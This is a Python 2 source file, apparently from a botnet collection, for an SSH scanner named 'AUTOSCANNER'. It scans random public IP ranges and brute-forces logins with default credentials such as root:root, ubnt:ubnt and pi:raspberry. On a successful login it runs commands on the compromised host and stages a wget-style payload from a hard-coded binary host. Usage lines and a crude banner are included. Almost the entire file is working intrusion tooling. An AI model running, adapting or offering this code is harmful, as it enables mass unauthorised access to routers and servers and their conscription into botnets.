Path: blob/master/Botnets/Scanning/AUTOSCANNER/Botnet.py
5038 views
#!/usr/bin/env python1# -*- coding: utf-8 -*-23# ulimit -n 999999; ulimit -u 9999994# sysctl -w fs.file-max=1000005# python botnet.py 376 LUCKY x 0 (LUCKY RANGES)6# python botnet.py 376 B 113.53 1 (SCANNER EXAMPLE)7# python botnet.py 376 RAND x all (IP RANDOMIZATION)8# 113.53, 125.26, 125.27, 125,910import threading, paramiko, random, socket, time, sys1112paramiko.util.log_to_file("/dev/null") # silents spam of paramiko1314files = [ # Binary names15"cvb",16"cvv",17"dsf",18"fdgxc",19"sdf",20"sdfv",21"xnvx",2223]2425website = "185.112.249.142" # Binary Host IP2627reservedips = [28'http://127.',29'http://0',30'http://10.',31'http://100.64',32'http://100.65',33'http://100.66',34'http://100.67',35'http://100.68',36'http://100.69',37'http://100.70',38'http://100.71',39'http://100.72',40'http://100.73',41'http://100.74',42'http://100.75',43'http://100.76',44'http://100.77',45'http://100.78',46'http://100.79',47'http://100.80',48'http://100.81',49'http://100.82',50'http://100.83',51'http://100.84',52'http://100.85',53'http://100.86',54'http://100.87',55'http://100.88',56'http://100.89',57'http://100.90',58'http://100.91',59'http://100.92',60'http://100.93',61'http://100.94',62'http://100.95',63'http://100.96',64'http://100.97',65'http://100.98',66'http://100.99',67'http://100.100',68'http://100.101',69'http://100.102',70'http://100.103',71'http://100.104',72'http://100.105',73'http://100.106',74'http://100.107',75'http://100.108',76'http://100.109',77'http://100.110',78'http://100.111',79'http://100.112',80'http://100.113',81'http://100.114',82'http://100.115',83'http://100.116',84'http://100.117',85'http://100.118',86'http://100.119',87'http://100.120',88'http://100.121',89'http://100.122',90'http://100.123',91'http://100.124',92'http://100.125',93'http://100.126',94'http://100.127',95'http://169.254',96'http://172.16.',97'http://172.17.',98'http://172.18.',99'http://172.19.',100'http://172.20.',101'http://172.21.',102'http://172.22.',103'http://172.23.',104'http://172.24.',105'http://172.25.',106'http://172.26.',107'http://172.27.',108'http://172.28.',109'http://172.29.',110'http://172.30.',111'http://172.32.',112'http://192.0.0.0',113'http://192.0.0.1',114'http://192.0.0.2',115'http://192.0.0.3',116'http://192.0.0.4',117'http://192.0.0.5',118'http://192.0.0.6',119'http://192.0.0.7',120'http://192.0.2.',121'http://192.88.99.',122'http://192.168.',123'http://198.18.',124'http://198.19.',125'http://198.51.100.',126'http://203.0.113.',127'http://224.',128'http://225'129]130131132passwords = [ # perls/la133"root:root",134"root:admin",135"admin:admin",136"ubnt:ubnt"137"root:1234",138"admin:1234",139"guest:guest",140"user:user",141"test:test",142"pi:raspberry",143"vagrant:vagrant"144]145146ascii = '\x1b[1;35m'###########################################################################147ascii +=' \r\n'#148ascii +=' ▒███████▒ ▒█████ ███▄ █ ▓█████ ██████ ▓█████ ▄████▄ 0 \r\n'#149ascii +=' ▒ ▒ ▒ ▄▀░▒██▒ ██▒ ██ ▀█ █ ▓█ ▀ ▒██ ▒ ▓█ ▀ ▒██▀ ▀█ \r\n'#150ascii +=' ░ ▒ ▄▀▒░ ▒██░ ██▒▓██ ▀█ ██▒▒███ ░ ▓██▄ ▒███ ▒▓█ ▄ \r\n'#151ascii +=' ▄▀▒ ░▒██ ██░▓██▒ ▐▌██▒▒▓█ ▄ ▒ ██▒▒▓█ ▄ ▒▓▓▄ ▄██▒ \r\n'#152ascii +=' ▒███████▒░ ████▓▒░▒██░ ▓██░░▒████▒▒██████▒▒░▒████▒▒ ▓███▀ ░ \r\n'#153ascii +=' ░▒▒ ▓░▒░▒░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ░░ ▒░ ░▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒ ░ \r\n'#154ascii +=' ░░▒ ▒ ░ ▒ ░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ░ ░░ ░▒ ░ ░ ░ ░ ░ ░ ▒ \r\n'#155ascii +=' ░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ \r\n'#156ascii +=' ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ \r\n'#157ascii +=' ░ ░ \r\n'#158ascii +=' ~[ ZoneSec Cyber Rapist.]~ \r\n'#159ascii +='\x1b[0m'##############################################################################160161print ascii162print sys.argv[0]+' <Threads(MAX: 376)> <A/B/C/ (IP Class)> <Range> <1(slow but effective)/2(fast but less effective)/perl(scans for perlbots/all(scans for everything!>'163164if sys.argv[4] == '1':165passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective166if sys.argv[4] == '2':167passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective168if sys.argv[4] == 'perl':169passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner170if sys.argv[4] == 'all':171passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow172173ipclassinfo = sys.argv[2]174if ipclassinfo == "A":175ip1 = sys.argv[3]176elif ipclassinfo == "B":177ip1 = sys.argv[3].split(".")[0]178ip2 = sys.argv[3].split(".")[1]179elif ipclassinfo == "C":180ips = sys.argv[3].split(".")181num=0182for ip in ips:183num=num+1184if num == 1:185ip1 = ip186elif num == 2:187ip2 = ip188elif num == 3:189ip3 = ip190class sshscanner(threading.Thread):191global passwords192global ipclassinfo193if ipclassinfo == "A":194global ip1195elif ipclassinfo == "B":196global ip1197global ip2198elif ipclassinfo == "C":199global ip1200global ip2201global ip3202def run(self):203while 1:204try:205while 1:206thisipisbad='no'207if ipclassinfo == "A":208self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))209elif ipclassinfo == "B":210self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))211elif ipclassinfo == "C":212self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))213elif ipclassinfo == "LUCKY":214lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","125.17"]215self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))216else:217self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))218for badip in reservedips:219if badip in self.host:220thisipisbad='yes'221if thisipisbad=='no':222break223self.host=self.host.replace('http://', '')224username='root'225password="0"226port = 22227s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)228s.settimeout(3)229s.connect((self.host, port))230s.close()231ssh = paramiko.SSHClient()232ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())233dobreak=False234for passwd in passwords:235if ":n/a" in passwd:236password=""237else:238password=passwd.split(":")[1]239if "n/a:" in passwd:240username=""241else:242username=passwd.split(":")[0]243try:244ssh.connect(self.host, port = port, username=username, password=password, timeout=3)245dobreak=True246break247except:248pass249if True == dobreak:250break251badserver=True252stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")253output = stdout.read()254if "inet addr" in output:255badserver=False256websites = [ ]257if badserver == False:258print 'Adding:'+username+'<'+password+'>'+self.host+'|'+str(port)259ssh.exec_command("put ur wget here ignore the shit up top.") #la260261time.sleep(15)262ssh.close()263except:264pass265266for x in range(0,int(sys.argv[1])):267try:268t = sshscanner()269t.start()270except:271pass272273